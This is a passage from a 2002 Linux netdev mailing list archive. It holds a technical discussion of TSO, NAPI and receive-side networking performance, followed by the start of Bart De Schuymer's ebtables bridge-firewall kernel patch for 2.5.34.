development still focussed on the improvements in *sending* speed. for real high performance networking, the improvements are necessary in *receiving* cpu utilization, in our estimation. (see our analysis of interrupt overhead and the effect on receivers at gigabit speeds--i hope that this has become common understanding by now) i guess i can't disagree with david miller that the improvments in TSO are due entirely to header retransmission for sending, but that's only because sending wasn't CPU-intensive in the first place. we were able to get a significant reduction in receiver cpu-utilization by reassembling IP fragments on the receiver side (sort of a standards-based interrupt mitigation strategy that has the benefit of not increasing latency the way interrupt coalescing does). anyway, nice work, t. On Thu, 5 Sep 2002, David S. Miller wrote: > It's the DMA bandwidth saved, most of the specweb runs on x86 hardware > is limited by the DMA throughput of the PCI host controller. In > particular some controllers are limited to smaller DMA bursts to > work around hardware bugs. > > Ie. the headers that don't need to go across the bus are the critical > resource saved by TSO. > > I think I've said this a million times, perhaps the next person who > tries to figure out where the gains come from can just reply with > a pointer to a URL of this email I'm typing right now :-) -- todd underwood, vp & cto oso grande technologies, inc. todd@osogrande.com "Those who give up essential liberties for temporary safety deserve neither liberty nor safety." - Benjamin Franklin From hadi@cyberus.ca Thu Sep 12 05:33:06 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 05:33:12 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CCX5tG031746 for ; Thu, 12 Sep 2002 05:33:06 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id IAA10675; Thu, 12 Sep 2002 08:37:41 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8CCUiv16314; Thu, 12 Sep 2002 08:30:44 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Thu, 12 Sep 2002 08:30:44 -0400 (EDT) From: jamal To: Todd Underwood cc: "David S. Miller" , "tcw@tempest.prismnet.com" , "linux-kernel@vger.kernel.org" , "netdev@oss.sgi.com" Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 159 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Good work. The first time i have seen someone say Linux's way of reverse order is a GoodThing(tm). It was also great to see de-mything some of the old assumption of the world. BTW, TSO is not a intelligent as what you are suggesting. If i am not mistaken you are not only suggesting fragmentation and assembly at that level you are also suggesting retransmits at the NIC. This could be dangerous for practical reasons (changes in TCP congestion control algorithms etc). TSO as was pointed in earlier emails is just a dumb sender of packets. I think even fragmentation is a misnomer. Essentially you shove a huge buffer to the NIC and it breaks it into MTU sized packets for you and sends them. In regards to the receive side CPU utilization improvements: I think that NAPI does a good job at least in getting ridding of the biggest offender -- interupt overload. Also with NAPI also having got rid of intermidiate queues to the socket level, facilitating of zero copy receive should be relatively easy to add but there are no capable NICs in existence (well, ok not counting the TIGONII/acenic that you can hack and the fact that the tigon 2 is EOL doesnt help other than just for experiments). I dont think theres any NIC that can offload reassembly; that might not be such a bad idea. Are you still continuing work on this? cheers, jamal From todd@osogrande.com Thu Sep 12 06:55:06 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 06:55:13 -0700 (PDT) Received: from cochiti.nm.org (cochiti.nm.org [129.121.1.13]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CDt6tG000561 for ; Thu, 12 Sep 2002 06:55:06 -0700 Received: (qmail 40798 invoked from network); 12 Sep 2002 13:59:44 -0000 Received: from unknown (HELO gallinas) (129.121.5.22) by cochiti.nm.org with SMTP; 12 Sep 2002 13:59:44 -0000 Date: Thu, 12 Sep 2002 07:57:04 -0600 (MDT) From: Todd Underwood X-X-Sender: todd@gp To: jamal cc: "David S. Miller" , "tcw@tempest.prismnet.com" , "linux-kernel@vger.kernel.org" , "netdev@oss.sgi.com" , patricia gilfeather Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 160 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: todd@osogrande.com Precedence: bulk X-list: netdev jamal, > Good work. The first time i have seen someone say Linux's way of > reverse order is a GoodThing(tm). It was also great to see de-mything > some of the old assumption of the world. thanks. although i'd love to take credit, i don't think that the reverse-order fragmentation appreciation is all that original: who wouldn't want their data sctructure size determined up-front? :-) (not to mention getting header-overwriting for-free as part of the single copy. > BTW, TSO is not a intelligent as what you are suggesting. > If i am not mistaken you are not only suggesting fragmentation and > assembly at that level you are also suggesting retransmits at the NIC. > This could be dangerous for practical reasons (changes in TCP congestion > control algorithms etc). TSO as was pointed in earlier emails is just a > dumb sender of packets. I think even fragmentation is a misnomer. > Essentially you shove a huge buffer to the NIC and it breaks it into MTU > sized packets for you and sends them. the biggest problem to our approach is that itis extremely difficult to mix two very different kinds of workloads together: the regular server-on-the-internet workload (SOI) and the large-cluster-member workload (LCM). in the former case, SOI, you get dropped packets, fragments, no fragments, out of order fragments, etc. in the LCM case you basically never get any of that stuff--you're on a closed network with 1000-10000 of your closest cluster friends and that's just what you're doing. no fragments (unless you put them there), no out of order fragments (unless you send them) and basically no dropped packets ever. obviously, if you can assume conditions like that, you can do things like: only reassmble fragments in reverse order since you know you'll only send them that way, e.g. > In regards to the receive side CPU utilization improvements: I think > that NAPI does a good job at least in getting ridding of the biggest > offender -- interupt overload. Also with NAPI also having got rid of > intermidiate queues to the socket level, facilitating of zero copy receive > should be relatively easy to add but there are no capable NICs in > existence (well, ok not counting the TIGONII/acenic that you can hack > and the fact that the tigon 2 is EOL doesnt help other than just for > experiments). I dont think theres any NIC that can offload reassembly; > that might not be such a bad idea. i've done some reading about NAPI just recently (somehow i missed the splash when it came out). the two things i like about it are the hardware independent interrupt mitigation technique and using the DMA buffers as a receive backlog. i'm concerned about the numbers posted by ibm folx recently showing a slowdown under some conditions using NAPI and need to read the rest of that discussion. we are definitely aware of the fact that the more you want to put on the NIC, the more the NIC will have to do (and the more expensive it will have to be). right now the NICs, that people are developing on are the TigonII/III and, even more closed/proprietary, the Myrinet NICs. i would love to have a <$200 NIC with open firmware and a CPU/memory so that we could offload some more of this functionality (where it makes sense). > > Are you still continuing work on this? > definitely! we were just talking about some of these issues yesterday (and trying to find hardware sepc info on the web for the e1000 platform to see what else they might be able to do). patricia gilfeather is working on finding parts of TCP that are separable from the rest of TCP, but the problems you raise are serious: it would have to be on an application-specific and socket-specific basis, so that the app would *know* that functionality (like acks for synchronization packets or whatever) was being offloaded. the biggest difference in our perspective, versus the common kernel developers, is that we're still looking for ways to get the OS out of the way of the applications. if we can do large data transfers (with pre-posted receives and pre-posted memory allocation, obviously) directly from the nic into application memory and have a clean, relatively simple and standard api to do that, we avoid all of the interrupt mitigation techniques and save hugely on context switching overhead. this may now be off-topic for linux-kernel and i'd be happy to chat further in private email if others are getting bored :-). > cheers, > jamal t. -- todd underwood, vp & cto oso grande technologies, inc. todd@osogrande.com "Those who give up essential liberties for temporary safety deserve neither liberty nor safety." - Benjamin Franklin From alan@lxorguk.ukuu.org.uk Thu Sep 12 07:06:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 07:06:53 -0700 (PDT) Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CE6ktG001413 for ; Thu, 12 Sep 2002 07:06:47 -0700 Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1]) by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g8CEBQsi005751; Thu, 12 Sep 2002 15:11:27 +0100 Received: (from alan@localhost) by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g8CEBOo5005749; Thu, 12 Sep 2002 15:11:24 +0100 X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: Alan Cox To: Todd Underwood Cc: jamal , "David S. Miller" , "tcw@tempest.prismnet.com" , "linux-kernel@vger.kernel.org" , "netdev@oss.sgi.com" , patricia gilfeather In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-7) Date: 12 Sep 2002 15:11:23 +0100 Message-Id: <1031839883.2994.84.camel@irongate.swansea.linux.org.uk> Mime-Version: 1.0 X-archive-position: 161 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@lxorguk.ukuu.org.uk Precedence: bulk X-list: netdev On Thu, 2002-09-12 at 14:57, Todd Underwood wrote: > thanks. although i'd love to take credit, i don't think that the > reverse-order fragmentation appreciation is all that original: who > wouldn't want their data sctructure size determined up-front? :-) (not to > mention getting header-overwriting for-free as part of the single copy. As far as I am aware it was original when Linux first did it (and we broke cisco pix, some boot proms, some sco in the process). Credit goes to Arnt Gulbrandsen probably better known nowdays for his work on Qt From todd-lkml@osogrande.com Thu Sep 12 07:39:27 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 07:39:33 -0700 (PDT) Received: from puerco.nm.org (puerco.nm.org [129.121.1.22]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CEdQtG003147 for ; Thu, 12 Sep 2002 07:39:27 -0700 Received: (qmail 75094 invoked from network); 12 Sep 2002 14:40:19 -0000 Received: from unknown (HELO gallinas) (129.121.5.22) by puerco.nm.org with SMTP; 12 Sep 2002 14:40:19 -0000 Date: Thu, 12 Sep 2002 08:41:25 -0600 (MDT) From: todd-lkml@osogrande.com X-X-Sender: todd@gp Reply-To: linux-kernel@vger.kernel.org To: Alan Cox cc: jamal , "David S. Miller" , "tcw@tempest.prismnet.com" , "linux-kernel@vger.kernel.org" , "netdev@oss.sgi.com" , patricia gilfeather Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <1031839883.2994.84.camel@irongate.swansea.linux.org.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 162 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: todd-lkml@osogrande.com Precedence: bulk X-list: netdev alan, good to know. it's a nice piece of engineering. it's useful to note that linux has such a long and rich history of breaking de-facto standards in order to make things work better. t. On 12 Sep 2002, Alan Cox wrote: > On Thu, 2002-09-12 at 14:57, Todd Underwood wrote: > > thanks. although i'd love to take credit, i don't think that the > > reverse-order fragmentation appreciation is all that original: who > > wouldn't want their data sctructure size determined up-front? :-) (not to > > mention getting header-overwriting for-free as part of the single copy. > > As far as I am aware it was original when Linux first did it (and we > broke cisco pix, some boot proms, some sco in the process). Credit goes > to Arnt Gulbrandsen probably better known nowdays for his work on Qt > -- todd underwood, vp & cto oso grande technologies, inc. todd@osogrande.com "Those who give up essential liberties for temporary safety deserve neither liberty nor safety." - Benjamin Franklin From bart.de.schuymer@pandora.be Thu Sep 12 10:01:13 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 10:01:23 -0700 (PDT) Received: from tartarus.telenet-ops.be (tartarus.telenet-ops.be [195.130.132.34]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CH1BtG008812 for ; Thu, 12 Sep 2002 10:01:12 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by tartarus.telenet-ops.be (Postfix) with SMTP id DD6C9DCCDA; Thu, 12 Sep 2002 19:05:43 +0200 (CEST) Received: from linux (D5762B32.kabel.telenet.be [213.118.43.50]) by tartarus.telenet-ops.be (Postfix) with ESMTP id CAB82DBD7C; Thu, 12 Sep 2002 19:05:31 +0200 (CEST) Content-Type: text/plain; charset="iso-8859-1" From: Bart De Schuymer Subject: [PATCH] ebtables - Ethernet bridge tables, for 2.5.34 Date: Thu, 12 Sep 2002 19:07:12 +0200 X-Mailer: KMail [version 1.4] To: netdev@oss.sgi.com, linux-net@vger.kernel.org MIME-Version: 1.0 Message-Id: <200209121907.12936.bart.de.schuymer@pandora.be> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g8CH1BtG008812 X-archive-position: 163 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bart.de.schuymer@pandora.be Precedence: bulk X-list: netdev Hello list, I sent this message to lkml too, but without the actual patch. I hope I'm allowed to send the full patch here. It's quite large. Ebtables is a project similar to iptables, but working on the bridge netfilter hooks. It allows for a basic transparent firewall, making a brouter and doing MAC source address and destination address manipulation. The firewall part has currently modules for basic IP filtering, 802.1q filtering, ARP filtering, logging and a mark match/target. Ebtables has been under development for over 1.5 year and has more than 100 users, I think. You can also download the patch here: http://users.pandora.be/bart.de.schuymer/ebtables/v2.0/ebtables-v2.0_vs_2.5.34.diff http://users.pandora.be/bart.de.schuymer/ebtables/v2.0/ebtables-v2.0_vs_2.5.34.diff.gz For more information, see http://users.pandora.be/bart.de.schuymer/ebtables/ There is an ebtables hacking howto, some basic examples and some real life examples from users. And ofcourse the userspace program. This is the first time I'm submitting a large patch, so feel free to rant if I'm doing something wrong... Here it goes: ebtables-v2.0 - 11 September 2002 Bart De Schuymer ****** Add ebtables project info --- linux-2.5.34/MAINTAINERS Mon Sep 9 19:35:13 2002 +++ linux-2.5.34-ebtables/MAINTAINERS Wed Sep 11 23:06:55 2002 @@ -531,6 +531,14 @@ M: mike@i-Connect.Net L: linux-eata@i-connect.net, linux-scsi@vger.kernel.org S: Maintained +EBTABLES +P: Bart De Schuymer +M: bart.de.schuymer@pandora.be +L: ebtables-user@lists.sourceforge.net +L: ebtables-devel@lists.sourceforge.net +W: http://ebtables.sourceforge.net/ +S: Maintained + EEPRO100 NETWORK DRIVER P: Andrey V. Savochkin M: saw@saw.sw.com.sg ****** Clear nf_debug, we will be dealing with different netfilter hooks: the bridge hooks. --- linux-2.5.34/net/bridge/br_forward.c Mon Sep 9 19:35:07 2002 +++ linux-2.5.34-ebtables/net/bridge/br_forward.c Wed Sep 11 23:06:55 2002 @@ -49,6 +49,9 @@ static int __br_forward_finish(struct sk static void __br_deliver(struct net_bridge_port *to, struct sk_buff *skb) { skb->dev = to->dev; +#ifdef CONFIG_NETFILTER_DEBUG + skb->nf_debug = 0; +#endif NF_HOOK(PF_BRIDGE, NF_BR_LOCAL_OUT, skb, NULL, skb->dev, __br_forward_finish); } ****** modification for brouter support --- linux-2.5.34/net/bridge/br_private.h Mon Sep 9 19:35:05 2002 +++ linux-2.5.34-ebtables/net/bridge/br_private.h Wed Sep 11 23:06:55 2002 @@ -166,7 +166,7 @@ extern void br_get_port_ifindices(struct int *ifindices); /* br_input.c */ -extern void br_handle_frame(struct sk_buff *skb); +extern int br_handle_frame(struct sk_buff *skb); /* br_ioctl.c */ extern void br_call_ioctl_atomic(void (*fn)(void)); ****** modification for brouter support --- linux-2.5.34/include/linux/if_bridge.h Mon Sep 9 19:35:11 2002 +++ linux-2.5.34-ebtables/include/linux/if_bridge.h Wed Sep 11 23:06:55 2002 @@ -102,8 +102,13 @@ struct net_bridge; struct net_bridge_port; extern int (*br_ioctl_hook)(unsigned long arg); -extern void (*br_handle_frame_hook)(struct sk_buff *skb); - +extern int (*br_handle_frame_hook)(struct sk_buff *skb); +#if defined(CONFIG_BRIDGE_EBT_BROUTE) || \ + defined(CONFIG_BRIDGE_EBT_BROUTE_MODULE) +extern unsigned int (*broute_decision) (unsigned int hook, struct sk_buff **pskb, + const struct net_device *in, const struct net_device *out, + int (*okfn)(struct sk_buff *)); +#endif #endif #endif ****** modification for brouter support br_handle_frame_hook return non-zero if the frame has to be routed, else the frame has been bridged. --- linux-2.5.34/net/core/dev.c Mon Sep 9 19:35:12 2002 +++ linux-2.5.34-ebtables/net/core/dev.c Wed Sep 11 23:06:55 2002 @@ -1395,7 +1395,7 @@ void net_call_rx_atomic(void (*fn)(void) } #if defined(CONFIG_BRIDGE) || defined(CONFIG_BRIDGE_MODULE) -void (*br_handle_frame_hook)(struct sk_buff *skb) = NULL; +int (*br_handle_frame_hook)(struct sk_buff *skb) = NULL; #endif static __inline__ int handle_bridge(struct sk_buff *skb, @@ -1412,7 +1412,6 @@ static __inline__ int handle_bridge(stru } } - br_handle_frame_hook(skb); return ret; } @@ -1473,7 +1472,11 @@ int netif_receive_skb(struct sk_buff *sk #if defined(CONFIG_BRIDGE) || defined(CONFIG_BRIDGE_MODULE) if (skb->dev->br_port && br_handle_frame_hook) { - return handle_bridge(skb, pt_prev); + int ret; + + ret = handle_bridge(skb, pt_prev); + if (br_handle_frame_hook(skb) == 0) + return ret; } #endif ****** modification for brouter support + clear nf_debug br_handle_frame_hook calls broute_decision(), which traverses the ebtables brouting table to get the decision to bridge or route the frame. Return value -1 means route, 0 means the frame has been bridged. --- linux-2.5.34/net/bridge/br_input.c Mon Sep 9 19:35:06 2002 +++ linux-2.5.34-ebtables/net/bridge/br_input.c Wed Sep 11 23:06:55 2002 @@ -19,11 +19,18 @@ #include #include #include "br_private.h" +#if defined(CONFIG_BRIDGE_EBT_BROUTE) || \ + defined(CONFIG_BRIDGE_EBT_BROUTE_MODULE) +#include +#endif unsigned char bridge_ula[6] = { 0x01, 0x80, 0xc2, 0x00, 0x00, 0x00 }; static int br_pass_frame_up_finish(struct sk_buff *skb) { +#ifdef CONFIG_NETFILTER_DEBUG + skb->nf_debug = 0; +#endif netif_rx(skb); return 0; @@ -112,7 +119,7 @@ err_nolock: return 0; } -void br_handle_frame(struct sk_buff *skb) +int br_handle_frame(struct sk_buff *skb) { struct net_bridge *br; unsigned char *dest; @@ -146,25 +153,32 @@ void br_handle_frame(struct sk_buff *skb goto handle_special_frame; if (p->state == BR_STATE_FORWARDING) { +#if defined(CONFIG_BRIDGE_EBT_BROUTE) || \ + defined(CONFIG_BRIDGE_EBT_BROUTE_MODULE) + if (broute_decision && broute_decision(NF_BR_BROUTING, &skb, + skb->dev, NULL, NULL) == NF_DROP) + return -1; +#endif NF_HOOK(PF_BRIDGE, NF_BR_PRE_ROUTING, skb, skb->dev, NULL, br_handle_frame_finish); read_unlock(&br->lock); - return; + return 0; } err: read_unlock(&br->lock); err_nolock: kfree_skb(skb); - return; + return 0; handle_special_frame: if (!dest[5]) { br_stp_handle_bpdu(skb); read_unlock(&br->lock); - return; + return 0; } kfree_skb(skb); read_unlock(&br->lock); + return 0; } ****** broute_decision is defined here. --- linux-2.5.34/net/bridge/br.c Mon Sep 9 19:35:04 2002 +++ linux-2.5.34-ebtables/net/bridge/br.c Wed Sep 11 23:06:55 2002 @@ -28,6 +28,14 @@ #include "../atm/lec.h" #endif +#if defined(CONFIG_BRIDGE_EBT_BROUTE) || \ + defined(CONFIG_BRIDGE_EBT_BROUTE_MODULE) +unsigned int (*broute_decision) (unsigned int hook, struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) = NULL; +#endif + void br_dec_use_count() { MOD_DEC_USE_COUNT; @@ -73,6 +81,11 @@ static void __exit br_deinit(void) br_fdb_put_hook = NULL; #endif } + +#if defined(CONFIG_BRIDGE_EBT_BROUTE) || \ + defined(CONFIG_BRIDGE_EBT_BROUTE_MODULE) +EXPORT_SYMBOL(broute_decision); +#endif module_init(br_init) module_exit(br_deinit) ****** br.o may have to export broute_decision. Add the bridge/netfilter directory. --- linux-2.5.34/net/bridge/Makefile Mon Sep 9 19:35:21 2002 +++ linux-2.5.34-ebtables/net/bridge/Makefile Wed Sep 11 23:06:55 2002 @@ -2,10 +2,17 @@ # Makefile for the IEEE 802.1d ethernet bridging layer. # +ifneq ($(CONFIG_BRIDGE_EBT_BROUTE),n) +ifneq ($(CONFIG_BRIDGE_EBT_BROUTE),) +export-objs := br.o +endif +endif + obj-$(CONFIG_BRIDGE) += bridge.o bridge-objs := br.o br_device.o br_fdb.o br_forward.o br_if.o br_input.o \ br_ioctl.o br_notify.o br_stp.o br_stp_bpdu.o \ br_stp_if.o br_stp_timer.o +obj-$(CONFIG_BRIDGE_EBT) += netfilter/ include $(TOPDIR)/Rules.make ****** Add the NF_BR_BROUTING "hook" --- linux-2.5.34/include/linux/netfilter_bridge.h Mon Sep 9 19:35:12 2002 +++ linux-2.5.34-ebtables/include/linux/netfilter_bridge.h Wed Sep 11 23:06:55 2002 @@ -18,7 +18,18 @@ #define NF_BR_LOCAL_OUT 3 /* Packets about to hit the wire. */ #define NF_BR_POST_ROUTING 4 -#define NF_BR_NUMHOOKS 5 +/* Not really a hook, but used for the ebtables broute table */ +#define NF_BR_BROUTING 5 +#define NF_BR_NUMHOOKS 6 +enum nf_br_hook_priorities { + NF_BR_PRI_FIRST = INT_MIN, + NF_BR_PRI_FILTER_BRIDGED = -200, + NF_BR_PRI_FILTER_OTHER = 200, + NF_BR_PRI_NAT_DST_BRIDGED = -300, + NF_BR_PRI_NAT_DST_OTHER = 100, + NF_BR_PRI_NAT_SRC = 300, + NF_BR_PRI_LAST = INT_MAX, +}; #endif ****** Include the ebtables Config.in --- linux-2.5.34/net/Config.in Mon Sep 9 19:35:05 2002 +++ linux-2.5.34-ebtables/net/Config.in Wed Sep 11 23:06:55 2002 @@ -65,6 +65,9 @@ if [ "$CONFIG_DECNET" != "n" ]; then source net/decnet/Config.in fi dep_tristate '802.1d Ethernet Bridging' CONFIG_BRIDGE $CONFIG_INET +if [ "$CONFIG_BRIDGE" != "n" -a "$CONFIG_NETFILTER" != "n" ]; then + source net/bridge/netfilter/Config.in +fi if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then tristate 'CCITT X.25 Packet Layer (EXPERIMENTAL)' CONFIG_X25 tristate 'LAPB Data Link Driver (EXPERIMENTAL)' CONFIG_LAPB ****** Now follow all the new files, without much comment. ebtables is modular like iptables, currently there are 3 tables: broute, nat and filter. There are some mark modules and target modules too. Also one watcher module, the log module. --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/Makefile Wed Sep 11 23:06:55 2002 @@ -0,0 +1,20 @@ +# +# Makefile for the netfilter modules for Link Layer filtering on a bridge. +# + +export-objs := ebtables.o + +obj-$(CONFIG_BRIDGE_EBT) += ebtables.o +obj-$(CONFIG_BRIDGE_EBT_T_FILTER) += ebtable_filter.o +obj-$(CONFIG_BRIDGE_EBT_T_NAT) += ebtable_nat.o +obj-$(CONFIG_BRIDGE_EBT_BROUTE) += ebtable_broute.o +obj-$(CONFIG_BRIDGE_EBT_IPF) += ebt_ip.o +obj-$(CONFIG_BRIDGE_EBT_ARPF) += ebt_arp.o +obj-$(CONFIG_BRIDGE_EBT_VLANF) += ebt_vlan.o +obj-$(CONFIG_BRIDGE_EBT_MARKF) += ebt_mark_m.o +obj-$(CONFIG_BRIDGE_EBT_LOG) += ebt_log.o +obj-$(CONFIG_BRIDGE_EBT_SNAT) += ebt_snat.o +obj-$(CONFIG_BRIDGE_EBT_DNAT) += ebt_dnat.o +obj-$(CONFIG_BRIDGE_EBT_REDIRECT) += ebt_redirect.o +obj-$(CONFIG_BRIDGE_EBT_MARK_T) += ebt_mark.o +include $(TOPDIR)/Rules.make --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/Config.in Wed Sep 11 23:06:55 2002 @@ -0,0 +1,17 @@ +# +# Bridge netfilter configuration +# +dep_tristate ' Bridge: ebtables' CONFIG_BRIDGE_EBT $CONFIG_BRIDGE +dep_tristate ' ebt: filter table support' CONFIG_BRIDGE_EBT_T_FILTER $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: nat table support' CONFIG_BRIDGE_EBT_T_NAT $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: broute table support' CONFIG_BRIDGE_EBT_BROUTE $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: log support' CONFIG_BRIDGE_EBT_LOG $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: IP filter support' CONFIG_BRIDGE_EBT_IPF $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: ARP filter support' CONFIG_BRIDGE_EBT_ARPF $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: 802.1Q VLAN filter support (EXPERIMENTAL)' CONFIG_BRIDGE_EBT_VLANF $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: mark filter support' CONFIG_BRIDGE_EBT_MARKF $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: snat target support' CONFIG_BRIDGE_EBT_SNAT $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: dnat target support' CONFIG_BRIDGE_EBT_DNAT $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: redirect target support' CONFIG_BRIDGE_EBT_REDIRECT $CONFIG_BRIDGE_EBT +dep_tristate ' ebt: mark target support' CONFIG_BRIDGE_EBT_MARK_T $CONFIG_BRIDGE_EBT + --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/Config.help Wed Sep 11 23:06:55 2002 @@ -0,0 +1,105 @@ +CONFIG_BRIDGE_EBT + ebtables is an extendable frame filtering system for the Linux + Ethernet bridge. Its usage and implementation is very similar to that + of iptables. + The difference is that ebtables works on the Link Layer, while iptables + works on the Network Layer. ebtables can filter all frames that come + into contact with a logical bridge device. + Apart from filtering, ebtables also allows MAC source and destination + alterations (we call it MAC SNAT and MAC DNAT) and also provides + functionality for making Linux a brouter. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_T_FILTER + The ebtables filter table is used to define frame filtering rules at + local input, forwarding and local output. See the man page for + ebtables(8). + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_T_NAT + The ebtables nat table is used to define rules that alter the MAC + source address (MAC SNAT) or the MAC destination address (MAC DNAT). + See the man page for ebtables(8). + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_BROUTE + The ebtables broute table is used to define rules that decide between + bridging and routing frames, giving Linux the functionality of a + brouter. See the man page for ebtables(8) and examples on the ebtables + website. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_LOG + This option adds the log target, that you can use in any rule in + any ebtables table. It records the frame header to the syslog. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_IPF + This option adds the IP match, which allows basic IP header field + filtering. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_ARPF + This option adds the ARP match, which allows ARP and RARP header field + filtering. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_VLANF + This option adds the 802.1Q vlan match, which allows the filtering of + 802.1Q vlan fields. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_MARKF + This option adds the mark match, which allows matching frames based on + the 'nfmark' value in the frame. This can be set by the mark target. + This value is the same as the one used in the iptables mark match and + target. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_SNAT + This option adds the MAC SNAT target, which allows altering the MAC + source address of frames. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_DNAT + This option adds the MAC DNAT target, which allows altering the MAC + destination address of frames. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_REDIRECT + This option adds the MAC redirect target, which allows altering the MAC + destination address of a frame to that of the device it arrived on. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. + +CONFIG_BRIDGE_EBT_MARK_T + This option adds the mark target, which allows marking frames by + setting the 'nfmark' value in the frame. + This value is the same as the one used in the iptables mark match and + target. + + If you want to compile it as a module, say M here and read + . If unsure, say `N'. --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebtable_filter.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,90 @@ +/* + * ebtable_filter + * + * Authors: + * Bart De Schuymer + * + * April, 2002 + * + */ + +#include +#include + +#define FILTER_VALID_HOOKS ((1 << NF_BR_LOCAL_IN) | (1 << NF_BR_FORWARD) | \ + (1 << NF_BR_LOCAL_OUT)) + +static struct ebt_entries initial_chains[] = +{ + {0, "INPUT", 0, EBT_ACCEPT, 0}, + {0, "FORWARD", 0, EBT_ACCEPT, 0}, + {0, "OUTPUT", 0, EBT_ACCEPT, 0} +}; + +static struct ebt_replace initial_table = +{ + "filter", FILTER_VALID_HOOKS, 0, 3 * sizeof(struct ebt_entries), + { [NF_BR_LOCAL_IN]&initial_chains[0], [NF_BR_FORWARD]&initial_chains[1], + [NF_BR_LOCAL_OUT]&initial_chains[2] }, 0, NULL, (char *)initial_chains +}; + +static int check(const struct ebt_table_info *info, unsigned int valid_hooks) +{ + if (valid_hooks & ~FILTER_VALID_HOOKS) + return -EINVAL; + return 0; +} + +static struct ebt_table frame_filter = +{ + {NULL, NULL}, "filter", &initial_table, FILTER_VALID_HOOKS, + RW_LOCK_UNLOCKED, check, NULL +}; + +static unsigned int +ebt_hook (unsigned int hook, struct sk_buff **pskb, const struct 